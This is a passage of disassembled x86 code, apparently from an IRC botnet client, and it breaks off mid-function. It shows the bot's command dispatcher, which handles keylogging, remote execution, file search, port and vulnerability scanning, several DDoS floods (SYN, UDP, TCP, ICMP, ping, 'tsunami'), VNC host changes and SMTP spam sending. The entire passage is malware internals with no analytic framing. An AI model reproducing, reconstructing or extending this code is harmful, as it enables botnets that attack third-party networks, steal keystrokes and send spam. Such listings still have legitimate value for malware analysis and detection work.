		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B564
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42B528
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B498
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B46C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	loc_4081AD
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset dword_42B438
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B400
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAA4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBACC, ebx
		jz	short loc_405F4F
		push	offset unk_42B388
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B35C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B33C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B2FC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2DC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2BC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B29C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B270
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B254
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset word_41525A
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42B0E0
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B098
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset word_4141B2
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset dword_42B05C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB944
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA58
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA54
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9D4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
